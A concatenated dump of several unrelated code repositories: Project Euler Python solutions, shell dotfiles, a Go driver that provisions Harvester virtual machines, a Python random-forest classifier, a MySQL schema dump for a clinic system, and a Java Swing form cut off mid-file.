d[k] = [c] else: d[k].append(c) for k in d: if (len(d[k]) == 5): print sorted(d[k]) <file_sep>/id69/id69.py #!/usr/bin/env python import math lim = 10 ** 6 plim = 10 ** 3 def isprime(n): if (n == 0 or n == 1): return False if (n == 2): return True d = 2 while d*d <= n: if (n % d) == 0: return False d += 1 return True primes = filter(isprime, range(0, 1+plim)) def prime_factors(n): lim = int(math.floor(math.sqrt(n))) s = 0 pf = [] for i in xrange(2,lim+1): while n % i == 0: pf.append(i) n = n / i if n != 1: pf.append(n) return pf def totient(n): pf = list(set(prime_factors(n))) r = n for p in pf: r *= (1.0 - (1.0/p)) return r # t = map(lambda x: float(x)/totient(x), range(2, 1+lim)) # print (2+t.index(max(t))) def n_over_phi_n(n): pf = list(set(prime_factors(n))) r = 1 for p in pf: r *= p / (p - 1.0) return r n = 1 i = 0 while (n * primes[i] < lim): n *= primes[i] i += 1 print n <file_sep>/id71/id71.py #!/usr/bin/env python import math lim = 10 ** 6 leftof = 3.0 / 7.0 def prime_factors(n): lim = int(math.floor(math.sqrt(n))) s = 0 pf = [] for i in xrange(2,lim+1): while n % i == 0: pf.append(i) n = n / i if n != 1: pf.append(n) return pf best = 0 bn = 0 bd = 0 for d in xrange(lim, lim-100, -1): n = int(d * leftof) pfd = prime_factors(d) pfn = prime_factors(n) while (len(set(pfd) & set(pfn)) != 0): n -= 1 if (n == 0): break pfn = prime_factors(n) f =float(n) / float(d) if (f > best): best = f bn = n bd = d print f, n, d, pfn, pfd <file_sep>/id145/id145.py #!/usr/bin/env python lim = 10 ** 9 c = 0 for x in xrange(0, 1+lim): if (x % 10) == 0: continue p = map(lambda d: int(d) % 2 == 1, list(str(int(str(x)[::-1])+x))) if all(p): c += 1 print x, c
b4dfb4ca2085110aecbb6e8d3ca2e03c14b15282
[ "Makefile", "Python", "C", "C++", "Shell" ]
103
Python
neocpp89/project-euler
f2ee16e55f0f7089badb6c3ee077e827a6ad2326
4dbf06dd60089406f7f3d34a3f05904bd5a61db2
refs/heads/master
<repo_name>bravegrape/dotfiles<file_sep>/.bashrc export VIRTUALENVWRAPPER_PYTHON=/usr/local/bin/python3.6 WORKON_HOME=~/Envs source /usr/local/bin/virtualenvwrapper.sh <file_sep>/.zshrc ## Add autocompletion for git autoload -Uz compinit && compinit # Load version control informatin autoload -Uz vcs_info precmd() { vcs_info } # Define colours CLR0=$(tput setaf 0) CLR1=$(tput setaf 1) CLR2=$(tput setaf 2) CLR3=$(tput setaf 3) CLR4=$(tput setaf 4) CLR5=$(tput setaf 5) CLR6=$(tput setaf 6) CLR7=$(tput setaf 7) CLR8=$(tput setaf 8) CLR9=$(tput setaf 9) RESET=$(tput sgr0) # https://gist.github.com/mika/e30b4e99c338f5d80d7681407708609b zstyle ':vcs_info:*' enable git zstyle ':vcs_info:*' check-for-changes true zstyle ':vcs_info:*' unstagedstr ' ! ' zstyle ':vcs_info:*' stagedstr '+ ' # enable hooks, requires Zsh >=4.3.11 if [[ $ZSH_VERSION == 4.3.<11->* || $ZSH_VERSION == 4.<4->* || $ZSH_VERSION == <5->* ]] ; then # hook for untracked files +vi-untracked() { if [[ $(git rev-parse --is-inside-work-tree 2>/dev/null) == 'true' ]] && \ [[ -n $(git ls-files --others --exclude-standard) ]] ; then hook_com[staged]+='|☂' fi } # unpushed commits +vi-outgoing() { local gitdir="$(git rev-parse --git-dir 2>/dev/null)" [ -n "$gitdir" ] || return 0 if [ -r "${gitdir}/refs/remotes/git-svn" ] ; then local count=$(git rev-list remotes/git-svn.. 2>/dev/null | wc -l) else local branch="$(cat ${gitdir}/HEAD 2>/dev/null)" branch=${branch##*/heads/} local count=$(git rev-list remotes/origin/${branch}.. 2>/dev/null | wc -l) fi if [[ "$count" -gt 0 ]] ; then hook_com[staged]+="|⬆" fi } # hook for stashed files +vi-stashed() { if git rev-parse --verify refs/stash &>/dev/null ; then hook_com[staged]+='|s' fi } zstyle ':vcs_info:git*+set-message:*' hooks stashed untracked outgoing fi ## Build the vcs_info_msg_0_ variable zstyle ':vcs_info:git:*' formats '%F{5}%r %F{8}on %F{1}%b %u%c' ## Set up the prompt (with git branch name) setopt prompt_subst PROMPT=' ${vcs_info_msg_0_} ''${CLR8}'$'\U250F\U2501 ''${PWD} '$'\U2503 '$'\U2517\U2501 ''${RESET}'
7941e69eb53a2bd8fb39f3945fa113f96cd6a21b
[ "Shell" ]
2
Shell
bravegrape/dotfiles
9f61eb4f1dd720666914c4fde872a4d46f5a4a72
94593e50fc2905ae15f845d7fce8cccfbd85bec9
refs/heads/master
<file_sep>package harvester import "fmt" const ( userDataHeader = `#cloud-config` userDataAddQemuGuestAgent = ` package_update: true packages: - qemu-guest-agent runcmd: - [systemctl, enable, --now, qemu-guest-agent]` userDataPasswordTemplate = ` user: %s password: %s chpasswd: { expire: False } ssh_pwauth: True` userDataSSHKeyTemplate = ` ssh_authorized_keys: - >- %s` userDataAddDockerGroupSSHKeyTemplate = ` groups: - docker users: - name: %s sudo: ALL=(ALL) NOPASSWD:ALL groups: sudo, docker shell: /bin/bash ssh_authorized_keys: - >- %s` ) func (d *Driver) createCloudInit() (userData string, networkData string) { // userData userData = userDataHeader if d.NetworkType != networkTypePod { // need qemu guest agent to get ip userData += userDataAddQemuGuestAgent } if d.SSHPassword != "" { userData += fmt.Sprintf(userDataPasswordTemplate, d.SSHUser, d.SSHPassword) } if d.SSHPublicKey != "" { if d.AddUserToDockerGroup { userData += fmt.Sprintf(userDataAddDockerGroupSSHKeyTemplate, d.SSHUser, d.SSHPublicKey) } else { userData += fmt.Sprintf(userDataSSHKeyTemplate, d.SSHPublicKey) } } return } <file_sep>package harvester import ( "fmt" "net" "strings" "time" goharv "github.com/harvester/go-harvester/pkg/client" goharv1 "github.com/harvester/go-harvester/pkg/client/generated/v1" goharverrors "github.com/harvester/go-harvester/pkg/errors" "github.com/rancher/machine/libmachine/drivers" "github.com/rancher/machine/libmachine/log" "github.com/rancher/machine/libmachine/mcnutils" "github.com/rancher/machine/libmachine/state" ) const driverName = "harvester" // Driver is the driver used when no driver is selected. It is used to // connect to existing Docker hosts by specifying the URL of the host as // an option. type Driver struct { *drivers.BaseDriver client *goharv.Client Host string Port int Username string Password string Namespace string ClusterType string ServerVersion string CPU int MemorySize string DiskSize string DiskBus string ImageName string KeyPairName string SSHPrivateKeyPath string SSHPublicKey string SSHPassword string AddUserToDockerGroup bool NetworkType string NetworkName string NetworkModel string } func NewDriver(hostName, storePath string) *Driver { return &Driver{ BaseDriver: &drivers.BaseDriver{ MachineName: hostName, StorePath: storePath, }, } } // DriverName returns the name of the driver func (d *Driver) DriverName() string { return driverName } func (d *Driver) GetSSHHostname() (string, error) { return d.GetIP() } func (d *Driver) GetURL() (string, error) { if err := drivers.MustBeRunning(d); err != nil { return "", err } ip, err := d.GetIP() if err != nil { return "", err } return fmt.Sprintf("tcp://%s", net.JoinHostPort(ip, "2376")), nil } func (d *Driver) GetIP() (string, error) { if err := drivers.MustBeRunning(d); err != nil { return "", err } vmi, err := d.getVMI() if err != nil { return "", err } return strings.Split(vmi.Status.Interfaces[0].IP, "/")[0], nil } func (d *Driver) GetState() (state.State, error) { c, err := d.getClient() if err != nil { return state.None, err } _, err = c.VirtualMachines.Get(d.Namespace, d.MachineName) if err != nil { return state.None, err } vmi, err := c.VirtualMachineInstances.Get(d.Namespace, d.MachineName) if err != nil { if goharverrors.IsNotFound(err) { return state.Stopped, nil } return state.None, err } return getStateFormVMI(vmi), nil } func getStateFormVMI(vmi *goharv1.VirtualMachineInstance) state.State { switch vmi.Status.Phase { case "Pending", "Scheduling", "Scheduled": return state.Starting case "Running": return state.Running case "Succeeded": return state.Stopping case "Failed": return state.Error default: return state.None } } func (d *Driver) waitRemoved() error { removed := func() bool { if _, err := d.getVM(); err != nil { if goharverrors.IsNotFound(err) { return true } } return false } log.Debugf("Waiting for node removed") if err := mcnutils.WaitForSpecific(removed, 120, 5*time.Second); err != nil { return fmt.Errorf("Too many retries waiting for machine removed. Last error: %s", err) } return nil } func (d *Driver) Remove() error { c, err := d.getClient() if err != nil { return err } vm, err := c.VirtualMachines.Get(d.Namespace, d.MachineName) if err != nil { if goharverrors.IsNotFound(err) { return nil } return err } removedDisks := make([]string, 0, len(vm.Spec.Template.Spec.Volumes)) for _, volume := range vm.Spec.Template.Spec.Volumes { if volume.DataVolume != nil { removedDisks = append(removedDisks, volume.Name) } } log.Debugf("Remove node") _, err = c.VirtualMachines.Delete(d.Namespace, d.MachineName, map[string]string{ "removedDisks": strings.Join(removedDisks, ","), "propagationPolicy": "Foreground", }) if err != nil { return err } return d.waitRemoved() } func (d *Driver) Restart() error { c, err := d.getClient() if err != nil { return err } vmi, err := c.VirtualMachineInstances.Get(d.Namespace, d.MachineName) if err != nil { return err } oldUID := string(vmi.UID) log.Debugf("Restart node") err = c.VirtualMachines.Restart(d.Namespace, d.MachineName) if err != nil { return err } return d.waitForRestart(oldUID) } func (d *Driver) Start() error { c, err := d.getClient() if err != nil { return err } log.Debugf("Start node") if err = c.VirtualMachines.Start(d.Namespace, d.MachineName); err != nil { return err } return d.waitForReady() } func (d *Driver) Stop() error { c, err := d.getClient() if err != nil { return err } log.Debugf("Stop node") if err = c.VirtualMachines.Stop(d.Namespace, d.MachineName); err != nil { return err } return d.waitForState(state.Stopped) } func (d *Driver) Kill() error { return d.Stop() } func (d *Driver) getVMI() (*goharv1.VirtualMachineInstance, error) { c, err := d.getClient() if err != nil { return nil, err } return c.VirtualMachineInstances.Get(d.Namespace, d.MachineName) } func (d *Driver) getVM() (*goharv1.VirtualMachine, error) { c, err := d.getClient() if err != nil { return nil, err } return c.VirtualMachines.Get(d.Namespace, d.MachineName) } <file_sep>package harvester import ( "fmt" "io/ioutil" "strings" "time" "github.com/harvester/go-harvester/pkg/builder" goharverrors "github.com/harvester/go-harvester/pkg/errors" "github.com/rancher/machine/libmachine/drivers" "github.com/rancher/machine/libmachine/log" "github.com/rancher/machine/libmachine/mcnutils" "github.com/rancher/machine/libmachine/ssh" "github.com/rancher/machine/libmachine/state" corev1 "k8s.io/api/core/v1" "k8s.io/utils/pointer" ) func (d *Driver) PreCreateCheck() error { c, err := d.getClient() if err != nil { return err } // server version serverVersion, err := c.Settings.Get("server-version") if err != nil { return err } d.ServerVersion = serverVersion.Value if strings.HasPrefix(d.ServerVersion, "v0.1.0") { return fmt.Errorf("current harvester server version is %s, only support v0.2.0+", d.ServerVersion) } // vm doesn't exist _, err = c.VirtualMachines.Get(d.Namespace, d.MachineName) if err == nil { return fmt.Errorf("machine %s already exists", d.MachineName) } // image exist _, err = c.Images.Get(d.Namespace, d.ImageName) if err != nil { if goharverrors.IsNotFound(err) { return fmt.Errorf("image %s doesn't exist in namespace %s", d.ImageName, d.Namespace) } return err } if d.KeyPairName != "" { keypair, err := c.Keypairs.Get(d.Namespace, d.KeyPairName) if err != nil { if goharverrors.IsNotFound(err) { return fmt.Errorf("keypair %s doesn't exist in namespace %s", d.KeyPairName, d.Namespace) } return err } // keypair validated keypairValidated := false for _, condition := range keypair.Status.Conditions { if condition.Type == "validated" && condition.Status == "True" { keypairValidated = true } } if !keypairValidated { return fmt.Errorf("keypair %s is not validated", keypair.Name) } d.SSHPublicKey = keypair.Spec.PublicKey } // network exist if d.NetworkType != networkTypePod { _, err = c.Networks.Get(d.Namespace, d.NetworkName) if err != nil { if goharverrors.IsNotFound(err) { return fmt.Errorf("network %s doesn't exist in namespace %s", d.KeyPairName, d.Namespace) } return err } } return err } func (d *Driver) Create() error { c, err := d.getClient() if err != nil { return err } if err = d.createKeyPair(); err != nil { return err } userData, networkData := d.createCloudInit() dataVolumeOption := &builder.DataVolumeOption{ VolumeMode: corev1.PersistentVolumeBlock, AccessMode: corev1.ReadWriteMany, StorageClassName: pointer.StringPtr("longhorn-" + d.ImageName), ImageID: fmt.Sprintf("%s/%s", d.Namespace, d.ImageName), } // create vm vmBuilder := builder.NewVMBuilder("docker-machine-driver-harvester"). Namespace(d.Namespace).Name(d.MachineName). CPU(d.CPU).Memory(d.MemorySize). Image(d.DiskSize, d.DiskBus, dataVolumeOption). EvictionStrategy(true). DefaultPodAntiAffinity(). CloudInit(userData, networkData) if d.KeyPairName != "" { vmBuilder = vmBuilder.SSHKey(d.KeyPairName) } if d.NetworkType != networkTypePod { vmBuilder = vmBuilder.Bridge(d.NetworkName, d.NetworkModel) } else { vmBuilder = vmBuilder.ManagementNetwork(true) } if _, err = c.VirtualMachines.Create(vmBuilder.Run()); err != nil { return err } if err = d.waitForState(state.Running); err != nil { return err } if err = d.waitForIP(); err != nil { return err } ip, err := d.GetIP() if err != nil { return err } d.IPAddress = ip log.Debugf("Get machine ip: %s", d.IPAddress) return nil } func (d *Driver) waitForState(desiredState state.State) error { log.Debugf("Waiting for node become %s", desiredState) if err := mcnutils.WaitForSpecific(drivers.MachineInState(d, desiredState), 120, 5*time.Second); err != nil { return fmt.Errorf("Too many retries waiting for machine to be %s. Last error: %s", desiredState, err) } return nil } func (d *Driver) waitForIP() error { ipIsNotEmpty := func() bool { ip, _ := d.GetIP() return ip != "" } log.Debugf("Waiting for node get ip") if err := mcnutils.WaitForSpecific(ipIsNotEmpty, 120, 5*time.Second); err != nil { return fmt.Errorf("Too many retries waiting for get machine's ip. Last error: %s", err) } return nil } func (d *Driver) waitForReady() error { if err := d.waitForState(state.Running); err != nil { return err } return d.waitForIP() } func (d *Driver) waitForRestart(oldUID string) error { restarted := func() bool { vmi, err := d.getVMI() if err != nil { return false } return oldUID != string(vmi.UID) } log.Debugf("Waiting for node restarted") if err := mcnutils.WaitForSpecific(restarted, 120, 5*time.Second); err != nil { return fmt.Errorf("Too many retries waiting for machine restart. Last error: %s", err) } return d.waitForReady() } func (d *Driver) createKeyPair() error { keyPath := d.GetSSHKeyPath() publicKeyFile := keyPath + ".pub" if d.SSHPrivateKeyPath == "" { log.Debugf("Creating New SSH Key") if err := ssh.GenerateSSHKey(keyPath); err != nil { return err } } else { log.Debugf("Using SSHPrivateKeyPath: %s", d.SSHPrivateKeyPath) if err := mcnutils.CopyFile(d.SSHPrivateKeyPath, keyPath); err != nil { return err } if d.KeyPairName != "" { log.Debugf("Using existing harvester key pair: %s", d.KeyPairName) return nil } if err := mcnutils.CopyFile(d.SSHPrivateKeyPath+".pub", publicKeyFile); err != nil { return err } } publicKey, err := ioutil.ReadFile(publicKeyFile) if err != nil { return err } log.Debugf("Using public Key: %s", publicKeyFile) d.SSHPublicKey = string(publicKey) return nil } <file_sep>package harvester import ( "fmt" goharv "github.com/harvester/go-harvester/pkg/client" ) func (d *Driver) getClient() (*goharv.Client, error) { if d.client == nil { c, err := d.login() if err != nil { return nil, err } d.client = c } return d.client, nil } func (d *Driver) login() (*goharv.Client, error) { c, err := goharv.New(fmt.Sprintf("https://%s:%d", d.Host, d.Port), nil) if err != nil { return nil, err } if err = c.Auth.Login(d.Username, d.Password); err != nil { return nil, err } return c, nil } <file_sep>module github.com/harvester/docker-machine-driver-harvester go 1.13 replace ( github.com/dgrijalva/jwt-go => github.com/dgrijalva/jwt-go v3.2.1-0.20200107013213-dc14462fd587+incompatible github.com/docker/distribution => github.com/docker/distribution v0.0.0-20191216044856-a8371794149d github.com/docker/docker => github.com/docker/docker v1.4.2-0.20200203170920-46ec8731fbce github.com/knative/pkg => github.com/rancher/pkg v0.0.0-20190514055449-b30ab9de040e github.com/openshift/api => github.com/openshift/api v0.0.0-20191219222812-2987a591a72c github.com/openshift/client-go => github.com/openshift/client-go v0.0.0-20191125132246-f6563a70e19a github.com/operator-framework/operator-lifecycle-manager => github.com/operator-framework/operator-lifecycle-manager v0.0.0-20190128024246-5eb7ae5bdb7a github.com/rancher/rancher/pkg/apis => github.com/rancher/rancher/pkg/apis v0.0.0-20210304063736-65f7c844267b github.com/rancher/rancher/pkg/client => github.com/rancher/rancher/pkg/client v0.0.0-20210304063736-65f7c844267b k8s.io/api => k8s.io/api v0.20.4 k8s.io/apiextensions-apiserver => k8s.io/apiextensions-apiserver v0.20.4 k8s.io/apimachinery => k8s.io/apimachinery v0.20.4 k8s.io/apiserver => k8s.io/apiserver v0.20.4 k8s.io/cli-runtime => k8s.io/cli-runtime v0.20.4 k8s.io/client-go => k8s.io/client-go v0.20.4 k8s.io/cloud-provider => k8s.io/cloud-provider v0.20.4 k8s.io/cluster-bootstrap => k8s.io/cluster-bootstrap v0.20.4 k8s.io/code-generator => k8s.io/code-generator v0.20.4 k8s.io/component-base => k8s.io/component-base v0.20.4 k8s.io/component-helpers => k8s.io/component-helpers v0.20.4 k8s.io/controller-manager => k8s.io/controller-manager v0.20.4 k8s.io/cri-api => k8s.io/cri-api v0.20.4 k8s.io/csi-translation-lib => k8s.io/csi-translation-lib v0.20.4 k8s.io/kube-aggregator => k8s.io/kube-aggregator v0.20.4 k8s.io/kube-controller-manager => k8s.io/kube-controller-manager v0.20.4 k8s.io/kube-proxy => k8s.io/kube-proxy v0.20.4 k8s.io/kube-scheduler => k8s.io/kube-scheduler v0.20.4 k8s.io/kubectl => k8s.io/kubectl v0.20.4 k8s.io/kubelet => k8s.io/kubelet v0.20.4 k8s.io/kubernetes => k8s.io/kubernetes v1.20.2 k8s.io/legacy-cloud-providers => k8s.io/legacy-cloud-providers v0.20.4 k8s.io/metrics => k8s.io/metrics v0.20.4 k8s.io/mount-utils => k8s.io/mount-utils v0.20.4 k8s.io/sample-apiserver => k8s.io/sample-apiserver v0.20.4 kubevirt.io/client-go => github.com/kubevirt/client-go v0.40.0-rc.2 kubevirt.io/containerized-data-importer => github.com/rancher/kubevirt-containerized-data-importer v1.26.1-0.20210303063201-9e7a78643487 sigs.k8s.io/structured-merge-diff => sigs.k8s.io/structured-merge-diff v0.0.0-20190302045857-e85c7b244fd2 ) require ( github.com/harvester/go-harvester v0.0.0-20210423031743-b2058399c0bb github.com/rancher/machine v0.15.0-rancher52 k8s.io/api v0.20.4 k8s.io/utils v0.0.0-20201110183641-67b214c5f920 )
318b4e80181d7f3d6246230f571015007b4ba4ec
[ "Go Module", "Go" ]
5
Go
maduhu/docker-machine-driver-harvester
f986bcd1ac13460fdbe40444e850867ec2f67d1c
8c98408be4937506751f2c6a237b66eb387ef4af
refs/heads/master
<repo_name>ecgom/RFclassifier<file_sep>/tree_builder.py import numpy as np from scipy.stats import mode def entropy(Y): unique, counts = np.unique(Y, return_counts=True) s = 0.0 total = np.sum(counts) for i, num_y in enumerate(counts): probability_y = (num_y/total) s += (probability_y)*np.log(probability_y) return -s def information_gain(y,y_true,y_false): return entropy(y) - (entropy(y_true)*len(y_true) + entropy(y_false)*len(y_false))/len(y) class tree_builder(object): def __init__(self, max_features = lambda x: x, max_depth = lambda y:y, min_samples_split = lambda z:z): self.max_features = max_features self.max_depth = max_depth self.min_samples_split = min_samples_split def predict_all_X(self, X): predictions = [] for i,x in enumerate(X): pred = self.predict_one_sample(x,None) predictions.append(pred) return np.asarray(predictions).flatten() def predict_one_sample(self, x, node): if node == None: node = self.root # base case: we've reached a leaf if isinstance(node, Leaf): return node.prediction if isinstance(node, Decision_Node): if node.threshold.match(x): return self.predict_one_sample(x,node.true_branch) else: return self.predict_one_sample(x,node.false_branch) def find_best_split(self,X,y,feature_indices): max_IG, best_threshold = 0., None for col in feature_indices: vals = np.unique(X[:,col]) if len(vals) == 1: #skip the feature columns where all samples have the same value continue for v in vals: question = Threshold(col, v) #try splitting the dataset X_true,y_true, X_false, y_false = self.make_split(X, y, question) if len(X_true) == 0 or len(X_false) == 0: continue gain = information_gain(y, y_true, y_false) if gain > max_IG: max_IG, best_threshold = gain, question return max_IG, best_threshold def make_split(self, X, y , threshold): X_true, y_true, X_false, y_false = [], [], [], [] for i in range(len(y)): if threshold.match(X[i]): X_true.append(X[i]) y_true.append(y[i]) else: X_false.append(X[i]) y_false.append(y[i]) X_true = np.array(X_true) y_true = np.array(y_true) X_false = np.array(X_false) y_false = np.array(y_false) return X_true, y_true, X_false, y_false def build_tree(self, X, y, p_indices,depth): gain, threshold = self.find_best_split(X,y,p_indices) #base case : if result has no more gain if depth is self.max_depth or len(y) < self.min_samples_split or gain == 0: return Leaf(y) #if not base case, make the split with the best gain and threshold left_partition, y_left, right_partition, y_right = self.make_split(X,y, threshold) #recursively build downwards for each child true_branch = self.build_tree(left_partition, y_left,p_indices,depth+1) false_branch = self.build_tree(right_partition, y_right,p_indices,depth+1) return Decision_Node(threshold,true_branch,false_branch) def fit(self, X, y): num_features = X.shape[1] num_sub_features = int(self.max_features(num_features)) #randomly get p number of feature indices feature_indices = np.random.choice(num_features, num_sub_features) self.root = self.build_tree(X,y,feature_indices,0) def init_root(): node = self.root return node class Leaf: def __init__(self, y): mod, count = mode(y) self.prediction = mod class Decision_Node(object): def __init__(self, threshold, true_branch, false_branch): self.threshold = threshold self.true_branch = true_branch self.false_branch = false_branch class Threshold: def __init__(self, column, value): self.column = column self.value = value def match(self, example): # Compare the feature value in an example to the # feature value for this threshold val = example[self.column] return val >= self.value <file_sep>/random_forest_classifier.py from scipy.stats import mode import numpy as np from tree_builder import * class RandomForestClassifier(object): def __init__(self,num_trees=lambda x: x,max_features=np.sqrt,max_depth=10, \ min_samples_split=2,bootstrap=1): self.num_trees = num_trees self.max_features = max_features self.max_depth = max_depth self.min_samples_split = min_samples_split self.bootstrap = bootstrap self.forest = [] def fit(self, X, y): self.forest = [] N_dataset = len(X) n_to_bootstrap = np.round(N_dataset*self.bootstrap) for i in range(0, self.num_trees): # bootstrap training dataset idx = np.random.choice(X.shape[0],n_to_bootstrap) X_subset, y_subset = X[idx, :], y[idx] tree = tree_builder(self.max_features,self.max_depth,self.min_samples_split) tree.fit(X_subset, y_subset) self.forest.append(tree) def predict(self, X): n_samples = X.shape[0] n_trees = len(self.forest) predictions = np.empty([n_trees, n_samples]) for i in range(n_trees): predictions[i] = self.forest[i].predict_all_X(X) m = mode(predictions) return(m[0])
73a816650994104fa1e67b19802b5f2a83bbf0a7
[ "Python" ]
2
Python
ecgom/RFclassifier
6cfdcb8b59d0eb521aab23b44f31e9f7fb7a2e8a
fccc4bbbe1194152b2cfc264724f433a28c542b6
refs/heads/master
<repo_name>renato-sama/SistemaEnfermaria_ESofII<file_sep>/Dump20181212.sql -- MySQL dump 10.13 Distrib 5.7.17, for Win64 (x86_64) -- -- Host: localhost Database: enfermariaif -- ------------------------------------------------------ -- Server version 5.7.19 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; -- -- Table structure for table `atendimento` -- DROP TABLE IF EXISTS `atendimento`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `atendimento` ( `idAtendimento` int(11) NOT NULL AUTO_INCREMENT, `Descricao_Atendimento` varchar(400) DEFAULT NULL, `Data_Atendimento` varchar(10) DEFAULT NULL, `idUsuarioAtendimento` int(11) DEFAULT NULL, `idPacienteAtendimento` int(11) DEFAULT NULL, PRIMARY KEY (`idAtendimento`), KEY `idUsuarioAtendimento` (`idUsuarioAtendimento`), KEY `idPacienteAtendimento` (`idPacienteAtendimento`) ) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `atendimento` -- LOCK TABLES `atendimento` WRITE; /*!40000 ALTER TABLE `atendimento` DISABLE KEYS */; INSERT INTO `atendimento` VALUES (1,'asdoasdkas','12/12/2012',NULL,NULL),(2,'qeqwdasd','12/12/12',1,1); /*!40000 ALTER TABLE `atendimento` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `materiais` -- DROP TABLE IF EXISTS `materiais`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `materiais` ( `idMaterial` int(11) NOT NULL AUTO_INCREMENT, `NomeMaterial` varchar(40) DEFAULT NULL, `Tipo_Descricao` varchar(100) DEFAULT NULL, `Quantidade` int(11) DEFAULT NULL, PRIMARY KEY (`idMaterial`) ) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `materiais` -- LOCK TABLES `materiais` WRITE; /*!40000 ALTER TABLE `materiais` DISABLE KEYS */; INSERT INTO `materiais` VALUES (1,'Bulma','auau',1),(3,'asdas','asds',5); /*!40000 ALTER TABLE `materiais` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `paciente` -- DROP TABLE IF EXISTS `paciente`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `paciente` ( `idPaciente` int(11) NOT NULL AUTO_INCREMENT, `NomePaciente` varchar(100) DEFAULT NULL, `Observacoes` varchar(100) DEFAULT NULL, `RA_Aluno` varchar(14) DEFAULT NULL, `CPF_Funcionario_Comunidade` varchar(14) DEFAULT NULL, PRIMARY KEY (`idPaciente`) ) ENGINE=MyISAM AUTO_INCREMENT=6 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `paciente` -- LOCK TABLES `paciente` WRITE; /*!40000 ALTER TABLE `paciente` DISABLE KEYS */; INSERT INTO `paciente` VALUES (1,'Blinx','Blenx','456',''),(4,'Renato','renisto','1316',''),(5,'Igoru','San','543',''); /*!40000 ALTER TABLE `paciente` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `usuario` -- DROP TABLE IF EXISTS `usuario`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `usuario` ( `idUsuario` int(11) NOT NULL AUTO_INCREMENT, `NomeUsuario` varchar(100) DEFAULT NULL, `CPF_Usuario` varchar(14) DEFAULT NULL, PRIMARY KEY (`idUsuario`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `usuario` -- LOCK TABLES `usuario` WRITE; /*!40000 ALTER TABLE `usuario` DISABLE KEYS */; /*!40000 ALTER TABLE `usuario` ENABLE KEYS */; UNLOCK TABLES; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; -- Dump completed on 2018-12-12 22:56:55 <file_sep>/TelasESOFII/src/gui/alteraMaterial.java /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package gui; import bean.Material; import dao.MaterialDAO; import javax.swing.JFrame; import javax.swing.JOptionPane; /** * * @author renato-sama */ public class alteraMaterial extends javax.swing.JFrame { /** * Creates new form alteraMaterial */ public alteraMaterial() { initComponents(); setLocationRelativeTo(null); } /** * This method is called from within the constructor to initialize the form. * WARNING: Do NOT modify this code. The content of this method is always * regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents private void initComponents() { jLabel1 = new javax.swing.JLabel(); alteraIDMat = new javax.swing.JTextField(); jLabel2 = new javax.swing.JLabel(); alteraNomeMat = new javax.swing.JTextField(); jLabel3 = new javax.swing.JLabel(); jScrollPane1 = new javax.swing.JScrollPane(); alteraDescMat = new javax.swing.JTextArea(); jLabel4 = new javax.swing.JLabel(); alteraQtdMat = new javax.swing.JTextField(); alteraBtnMat = new javax.swing.JButton(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setResizable(false); jLabel1.setText("Insira o novo ID para alterar o registro do material:"); jLabel2.setText("Novo nome:"); jLabel3.setText("Novas descrições:"); alteraDescMat.setColumns(20); alteraDescMat.setRows(5); jScrollPane1.setViewportView(alteraDescMat); jLabel4.setText("Nova quantidade:"); alteraBtnMat.setText("Alterar Material"); alteraBtnMat.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { alteraBtnMatActionPerformed(evt); } }); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addGap(24, 24, 24) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addComponent(jLabel4) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(alteraQtdMat, 